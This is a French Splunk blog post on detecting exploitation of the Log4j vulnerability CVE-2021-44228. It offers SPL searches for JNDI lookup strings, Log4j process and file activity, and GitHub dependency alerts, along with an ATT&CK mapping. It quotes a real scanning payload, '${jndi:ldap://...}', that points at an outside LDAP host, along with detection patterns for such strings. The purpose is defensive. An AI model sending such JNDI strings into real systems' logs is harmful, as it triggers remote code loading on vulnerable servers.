Comme toujours, la cybersécurité chez Splunk est une affaire de famille. Auteurs et contributeurs : Ryan Kovar, Shannon Davis, Marcus LaFerrera, John Stoner, James Brodsky, Dave Herrald, Audra Streetman, Johan Bjerke, Drew Church, Mick Baccio, Lily Lee, Tamara Chacon, Ryan Becwar.
Splunk vérifie actuellement l’impact de la vulnérabilité sur tous ses produits compatibles et évalue les différentes options de correction et/ou d’atténuation. Vous pouvez en savoir plus en consultant la Note de sécurité de Splunk pour Apache Log4j.
Si vous souhaitez seulement savoir comment déceler toute trace d’exécution arbitraire de code à distance Log4j 2, rendez-vous directement aux sections « détections » ci-dessous. Sinon, continuez à lire pour découvrir un récapitulatif des faits, comment détecter l’attaque et les mappages MITRE ATT&CK.
Une vulnérabilité critique (CVE-2021-44228) au sein du célèbre utilitaire de journalisation open source Apache Log4j constitue une menace pour des milliers d’applications et de services tiers qui exploitent cette bibliothèque. Le code de preuve de concept indique qu’une vulnérabilité de RCE (exécution de code arbitraire à distance) peut être exploitée par un malfaiteur soumettant une chaîne de caractères spécialement conçue qui est ensuite journalisée par Log4j. Le malfaiteur pourrait ensuite exécuter du code arbitrairement depuis une source externe. L’Apache Software Foundation a récemment publié un correctif d’urgence pour la vulnérabilité. Les entreprises affectées doivent passer à la version 2.15.0 de Log4j dès que possible ou appliquer les méthodes d’atténuation adaptées si la mise à jour est impossible.
De nombreux frameworks, applications et outils exploitent Log4j. Selon Ars Technica, Log4j est utilisé dans plusieurs frameworks populaires tels que Apache Struts 2, Apache Solr, Apache Druid et Apache Flink. Dans de nombreux cas, les administrateurs système peuvent même ignorer que Log4j est utilisé dans leur environnement. Pour exploiter cette vulnérabilité, le malfaiteur a seulement besoin de déclencher un événement de log qui contient la chaîne de caractères malveillante. Cela étant dit, quelques conditions doivent être réunies pour que la chaîne d’exploits fonctionne, comme indiqué dans l’article de blog de LunaSec et la note de sécurité d’Apache Log4j. Il faut également noter qu’un scan est différent d’une exploitation active.
Nous détaillerons tout cela dans la section suivante, mais une myriade d’hôtes scannent Internet à la recherche de serveurs potentiellement vulnérables.
Une fois qu’un hôte vulnérable est identifié, des correctifs et des solutions de contournement sont mis à disposition. Tout n’est donc pas perdu.
Actuellement, de nombreux réseaux sont en train d’être scannés. Ces scans permettront d’obtenir de nombreuses adresses IP à ajouter à vos listes de supervision. Cependant, comme nous savons que les malfaiteurs changent d’adresse IP aussi souvent que je change de t-shirt (tous les jours, soit dit en passant), ce n’est peut-être pas le meilleur moyen d’identifier l’exploitation de la vulnérabilité à long terme.
La bonne nouvelle, c’est que l’activité suivante est actuellement détectée dans le champ user agent. Un grand merci à GreyNoise !
${jndi:ldap://45.155[.]205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}
(Ligne rendue inoffensive)
Cela signifie que nous pouvons regarder l’enveloppe plutôt que la lettre à l’intérieur pour détecter des signes d’activité. Dans ce cas, l’enveloppe correspond à la présence de ${jndi:ldap://, et nous n’avons pas encore besoin d’ouvrir base64.
Pour continuer sur l’analogie de la lettre et de l’enveloppe, ldap n’est pas la seule chaîne de caractères qui suivra ${jndi:. À la place d’ldap, ldaps, rmi ou dns peuvent également apparaître. La bonne nouvelle, c’est que vous pouvez utiliser quelques recherches pour identifier cette activité.
Manifestement, pour comprendre les commandes exécutées et identifier si l’activité détectée n’est qu’un scan ou une exploitation, il faut analyser les chaînes de caractères encodées. Mais comme tout cela est très récent, nous ne voulons pas perdre de temps à identifier l’emplacement de toutes les occurrences de jndi.
Il est important de noter que même si une grande partie des activités de scans a détecté la chaîne de caractères ${jndi dans le champ user agent, cette chaîne peut également se trouver ailleurs. Pour remédier à ce problème, nous avons mis au point une recherche initiale pour une partie du champ User-Agent malveillant, ainsi qu’une deuxième recherche, plus large, pour rechercher la chaîne suspecte autre part.
sourcetype=bro:http:json user_agent=${jndi:*}| stats sparkline values(user_agent) count by src_ip, dest_ip, dest_port
Je sais, vous vous dites : « Et si la chaîne de caractères se trouve ailleurs que dans le champ user-agent ? ». Dans ce cas, les choses se compliquent un peu. S’il est impossible d’isoler un champ spécifique, une recherche non structurée telle que la suivante doit être effectuée :
index=* ${jndi:*}
Il s’agit d’une recherche très coûteuse en l’état, car elle n’est pas structurée et contient un caractère de remplacement, mais elle permettrait de ne négliger aucun détail. Si vous avez d’autres critères pour préciser votre recherche, par exemple des plages d’adresses d’actifs spécifiques ou des catégorisations d’appareils, ils pourraient s’avérer utiles et permettre de résoudre le coût de cette recherche. Un autre moyen de réduire le coût de cette recherche est d’exploiter vos modèles de données accélérés issus de notre modèle CIM (Common Information Model). Par exemple, http_user_agent est un champ du modèle de données Web et il peut être analysé à l’aide de techniques « tstats » comme celles que vous verrez dans la section suivante.
Gardez bien à l’esprit, ce n’est pas parce que vous détectez cette activité que vous avez forcément été piraté. Cependant, cela confirme que quelqu’un frappe à votre porte et cherche peut-être à entrer. Des analyses supplémentaires des systèmes contenant cette activité sont nécessaires pour déterminer s’il y a eu violation ou exploitation.
Cela nous ramène aux chaînes de caractères encodées qui sont détectées. Dans un premier temps, nous avions dit que nous nous concentrions sur l’enveloppe, pas la lettre. Il est temps de regarder la lettre. Dans l’exemple ci-dessous, nous avons un champ appelé « test » qui contient la chaîne de caractères indiquée ci-dessus. Pour analyser cette chaîne et celles que vous pourriez découvrir dans Splunk, nous pouvons installer une application qui décode base64 pour tous les événements qui correspondent à vos critères de recherche. Dans le cas présent, nous utilisons CyberChef for Splunk, mais vous pouvez utiliser n’importe quel décodeur de base64. Ici, notre malfaiteur nous a facilité la tâche en précédant sa commande base 64 par la chaîne /Base64/, donc notre commande rex cherche cette chaîne pour commencer notre capture.
Manifestement, à mesure que la situation évolue, vous devrez peut-être modifier votre commande rex, mais celle-ci constitue un bon point de départ. En utilisant un décodeur de base64, nous pouvons obtenir un champ result comme illustré ci-dessous qui affiche un statement curl avec wget et les adresses IP associées. Ces adresses IP peuvent être ajoutées dans vos listes de supervision si vous le souhaitez. Vous pourriez potentiellement trouver d’autres bonnes choses dans ces résultats.
Maintenant, comme nous ne voulons pas indiquer de chaînes de caractères dans notre blog qui pourraient être exécutées pour scanner un site, nous avons extrait le base64 et ajouté un exemple de ce que à quoi cela pourrait ressembler. L’image ci-dessous est la commande décodée mais la recherche que vous pouvez copier-coller donnera un résultat différent. Le concept reste cependant le même.
| makeresults | eval test="${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/U28gTG9uZywgYW5kIFRoYW5rcyBmb3IgQWxsIHRoZSBGaXNo}"| rex field=test "\/Base64\/(?\S+)}"| table string| cyberchef infield=string outfield=result operation=FromBase64
Comme indiqué ci-dessus, de nombreuses applications, frameworks et outils peuvent utiliser Log4j. Pour mesurer votre exposition à cette vulnérabilité RCE, nous pouvons une nouvelle fois utiliser la journalisation de l’exécution des processus sur votre environnement, et trouver des traces d’activité de Log4j. Et si votre configuration le permet, nous pouvons chercher des preuves de création/modification de fichiers avec Log4j dans le nom ou le chemin. Comme l’invocation de Log4j a tendance à être verbeuse, vous pourriez trouver des traces dans les écritures de fichiers ou dans les exécutions de lignes de commande.
Bien entendu, ces deux recherches vont être vastes, pour parer à toute éventualité, mais puisque Log4j est tellement étendu, nous pouvons exploiter la puissance de Splunk pour analyser rapidement notre environnement afin de déterminer notre exposition potentielle.
Partons du principe que vous importez les logs d’exécution des processus, car nous vous disons de le faire depuis la présidence de Jimmy Carter. Nous nous sommes inspirés de nos amis de CrowdStrike, qui ont publié une recherche sur Reddit plus tôt dans la journée qui, entre autres, analyse les logs d’exécution de processus de Falcon à la recherche d’activité de Log4j. Bon, tous nos clients n’utilisent pas Falcon, alors comment mettre au point une recherche similaire qui fonctionnerait contre toutes les formes de logs d’exécution de processus dans Splunk, quelle que soit la source ?
La réponse réside dans le modèle de données Endpoint depuis notre modèle CIM (Common Information Model), qui normalise les informations d’exécution de processus dans des champs tels que process et parent_process. Et, si vous accélérez ce modèle de données (vous devriez), alors vous pouvez faire une recherche sur l’ensemble de votre environnement très rapidement. Donc une recherche comme celle-ci :
| tstats summariesonly=t values(Processes.parent_process) AS parent_process,values(Processes.process) AS process,latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes where (Processes.parent_process="*log4j*" OR Processes.process="*log4j*") by host | eval _time=latest| reltime | fields - _time| convert ctime(latest), ctime(earliest)| table host parent_process process reltime latest earliest
… va rapidement afficher les hôtes qui exécutent des processus contenant « log4j » dans leur nom ou le nom de l’exécutable parent.
Si vous n’avez pas le modèle de données Endpoint.Processes rempli ou accéléré, cela va être plus compliqué et beaucoup plus lent, et vous devrez peaufiner vos recherches en conséquence pour correspondre à vos exécutions de processus de logs de solution de point de terminaison. Si vous êtes toujours à la recherche de capacités de détection de point de terminaison, Microsoft Sysmon est toujours notre outil préféré, et Microsoft a récemment publié une version pour Linux !
Voici une recherche d’événements brute que vous pourriez utiliser pour trouver tous les processus, ou processus parents, contenant « log4j » dans leur nom, appliqué aux données Sysmon (Linux et Windows).
index=main (source="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR source="Journald:Microsoft-Windows-Sysmon/Operational") EventCode=1 (CommandLine=*log4j* OR ParentCommandLine=*log4j*)| table _time,host,CommandLine,ParentCommandLine
Une autre technique pour détecter la présence de Log4j sur vos systèmes est d’exploiter les logs de création de fichiers, par exemple, EventCode 11 dans Sysmon. Ces types d’événements sont renseignés dans le modèle de données Endpoint.Filesystem et grâce à quelques petites astuces avec tstats, vous pouvez même corréler l’événement de création de fichiers avec les informations du processus qui l’a créé. La recherche suivante donne un bon point de départ pour ce type de traque, mais la deuxième clause de tstats pourrait renvoyer de nombreuses données dans des environnements vastes :
| tstats summariesonly=t prestats=t count,values(Filesystem.file_path) AS filepath,values(Filesystem.file_name) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Filesystem where (Filesystem.file_path="*log4j*" OR Filesystem.file_name="*log4j*") by Filesystem.process_guid| tstats summariesonly=t prestats=t append=t count,values(Processes.process) as process,values(Processes.process_id) values(host) latest(_time) AS latest,earliest(_time) AS earliest from datamodel=Endpoint.Processes by Processes.process_guid| eval GUID = coalesce('Processes.process_guid','Filesystem.process_guid')| eval _time=coalesce('Filesystem.latest','Processess.latest')| convert ctime(_time)| stats values(Processes.process) as process, values(Processes.process_id) as process_id values(host) as host, values(Filesystem.file_path) as path ,values(Filesystem.file_name) as file_name latest(_time) as latest_time by GUID| convert ctime(latest_time)| search process=* path=* file_name=*| fields - GUID
Si vous êtes un développeur logiciel et que votre code source est dans un compte GitHub Organization ou Enterprise, vous pouvez utiliser les fonctionnalités de sécurité de GitHub pour envoyer des alertes concernant les dépendances vulnérables telles que Log4j. À l’aide du GitHub Audit Log Monitoring Add-On for Splunk et de l’appli GitHub App for Splunk, il est très simple de voir les vulnérabilités dès que GitHub les détecte, directement dans Splunk. Vous pouvez utiliser ces données pour envoyer des alertes, identifier les projets ayant besoin d’un correctif ou simplement ajouter du contexte à d’autres données dans Splunk. Voici une vidéo du Splunker Doug Erkkila détaillant la configuration nécessaire pour importer les données de logs d’audit de GitHub dans Splunk. Veuillez noter que pour obtenir les données de sécurité de GitHub les plus exhaustives, vous devez collecter les données WebHook à l’aide du Splunk HTTP Event Collector. Les instructions de configuration pour les données WebHook se trouvent ici.
Voici un exemple d’alerte indiquant un projet (dans cet exemple, une version antérieure d’Apache Struts) qui inclut une dépendance à une version vulnérable de log4j-api.
sourcetype=github_json "alert.affected_package_name"="org.apache.logging.log4j:log4j-api"
Certes, nous avons pris le temps d’expliquer cette attaque et il est impératif de mener certaines investigations, mais il faut également rappeler que les bases sont essentielles. Une gestion basique des ressources, si possible via votre framework d’actifs et d’identités, vous indiquera où résident vos systèmes vulnérables. L’exécution régulière d’analyses de vulnérabilité qui s’intègrent dans Splunk permet d’afficher les systèmes vulnérables et de hiérarchiser votre programme de correctifs pour mieux focaliser vos efforts de détection.
Cette vulnérabilité est baptisée CVE-2021-44228 et vient d’être publiée. Cependant, en raison de l’ampleur et des conséquences potentielles de cette vulnérabilité, les scanners de vulnérabilité l’ont rapidement ajoutée à leurs bibliothèques. Pendant ce processus, l’identification et la réalisation d’un scan sur les systèmes exécutant les bibliothèques log4j-core et cette vulnérabilité seraient avisées afin d’aider à mieux cibler les efforts d’atténuation.
Pour les personnes utilisant ESCU, notre équipe de recherche en sécurité va publier un nouveau scénario analytique Splunk dès que possible, indiquant toutes les détections pour cette menace !
Notre équipe de professionnels de la sécurité, qui fait partie de notre équipe de services professionnels Splunk, peut vous aider à mettre en place tout ce que nous avons expliqué dans cet article. Nous proposons également des offres plus ciblées qui peuvent également vous aider à améliorer votre position de sécurité.
Ce service consiste à vous aider à vous préparer à une violation et comment réagir à l’aide de notre suite de produits. Laissez nos experts vous aider à vous préparer à une faille.
En examinant les articles de blog d’à peu près tout Internet, nous avons mappé l’activité de la vulnérabilité sur MITRE ATT&CK. Dès que nous en saurons davantage, nous actualiserons le tableau suivant avec d’autres recherches si d’autres TTP ATT&CK apparaissent.
Technique ATT&CK |
Titre de la technique/sous-technique |
T1190 |
Exploitation d’une application en contact avec le public |
T1203 |
Exploitation pour exécution client |
Nous sommes bien conscients que l’exécution de code arbitraire à distance Log4j 2 est une vulnérabilité importante et que les clients voudront la corriger dès que possible et déterminer s’ils ont été affectés par cette vulnérabilité. Si vous ne l’avez pas encore corrigée (on a tous connu cette situation), avec un peu de chance, ces recherches vous donneront plus de visibilité sur votre environnement. Si elles ne fonctionnent pas parfaitement, inspirez-vous-en ! Dès que nous en saurons davantage, nous mettrons cet article à jour et, comme indiqué précédemment, restez à l’affût des autres techniques de détection qui seront publiées par notre équipe de recherche sur les menaces sur Enterprise Security Content Updates.
La plateforme Splunk élimine les obstacles qui séparent les données de l'action, pour donner aux équipes d'observabilité, d'IT et de sécurité les moyens de préserver la sécurité, la résilience et le pouvoir d'innovation de leur organisation.
Fondée en 2003, Splunk est une entreprise internationale. Ses plus de 7 500 employés, les Splunkers, ont déjà obtenu plus de 1 020 brevets à ce jour, et ses solutions sont disponibles dans 21 régions du monde. Ouverte et extensible, la plateforme de données Splunk prend en charge les données de tous les environnements pour donner à toutes les équipes d'une entreprise une visibilité complète et contextualisée sur l'ensemble des interactions et des processus métier. Splunk, une base solide pour vos données.